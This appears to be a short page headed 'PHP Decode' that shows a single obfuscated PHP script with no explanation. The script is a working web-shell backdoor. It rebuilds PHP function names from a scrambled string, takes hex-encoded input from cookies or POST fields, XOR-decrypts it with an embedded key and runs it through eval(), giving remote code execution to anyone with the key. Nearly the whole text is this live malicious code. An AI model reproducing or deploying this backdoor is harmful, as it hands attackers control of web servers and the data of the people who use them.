PHP Decode

<?php 
$qcozo = 'r7c5*n-le_6s2kxtd9a48iyg3Hbo#m\'vu01p';$xxfbn = Array();$xxfbn[] = $qcozo[16].$qcozo[18].$qcozo[20].$qcozo[18].$qcozo[24].$qcozo[26].$qcozo[34].$qcozo[12].$qcozo[6].$qcozo[10].$qcozo[20].$qcozo[17].$qcozo[1].$qcozo[6].$qcozo[19].$qcozo[34].$qcozo[16].$qcozo[12].$qcozo[6].$qcozo[20].$qcozo[18].$qcozo[3].$qcozo[24].$qcozo[6].$qcozo[10].$qcozo[18].$qcozo[2].$qcozo[33].$qcozo[26].$qcozo[33].$qcozo[8].$qcozo[18].$qcozo[18].$qcozo[3].$qcozo[2].$qcozo[1];$xxfbn[] = $qcozo[25].$qcozo[4];$xxfbn[] = $qcozo[28];$xxfbn[] = $qcozo[2].$qcozo[27].$qcozo[32].$qcozo[5].$qcozo[15];$xxfbn[] = $qcozo[11].$qcozo[15].$qcozo[0].$qcozo[9].$qcozo[0].$qcozo[8].$qcozo[35].$qcozo[8].$qcozo[18].$qcozo[15];$xxfbn[] = $qcozo[8].$qcozo[14].$qcozo[35].$qcozo[7].$qcozo[27].$qcozo[16].$qcozo[8];$xxfbn[] = $qcozo[11].$qcozo[32].$qcozo[26].$qcozo[11].$qcozo[15].$qcozo[0];$xxfbn[] = $qcozo[18].$qcozo[0].$qcozo[0].$qcozo[18].$qcozo[22].$qcozo[9].$qcozo[29].$qcozo[8].$qcozo[0].$qcozo[23].$qcozo[8];$xxfbn[] = $qcozo[11].$qcozo[15].$qcozo[0].$qcozo[7].$qcozo[8].$qcozo[5];$xxfbn[] = $qcozo[35].$qcozo[18].$qcozo[2].$qcozo[13];foreach ($xxfbn[7]($_COOKIE, $_POST) as $rnvmlt => $wpotwn){function uqidngs($xxfbn, $rnvmlt, $ggaqco){return $xxfbn[6]($xxfbn[4]($rnvmlt . $xxfbn[0], ($ggaqco / $xxfbn[8]($rnvmlt)) + 1), 0, $ggaqco);}function yjsea($xxfbn, $qeandg){return @$xxfbn[9]($xxfbn[1], $qeandg);}function sfjxc($xxfbn, $qeandg){$ctgxd = $xxfbn[3]($qeandg) % 3;if (!$ctgxd) {eval($qeandg[1]($qeandg[2]));exit();}}$wpotwn = yjsea($xxfbn, $wpotwn);sfjxc($xxfbn, $xxfbn[5]($xxfbn[2], $wpotwn ^ uqidngs($xxfbn, $rnvmlt, $xxfbn[8]($wpotwn))));} ?>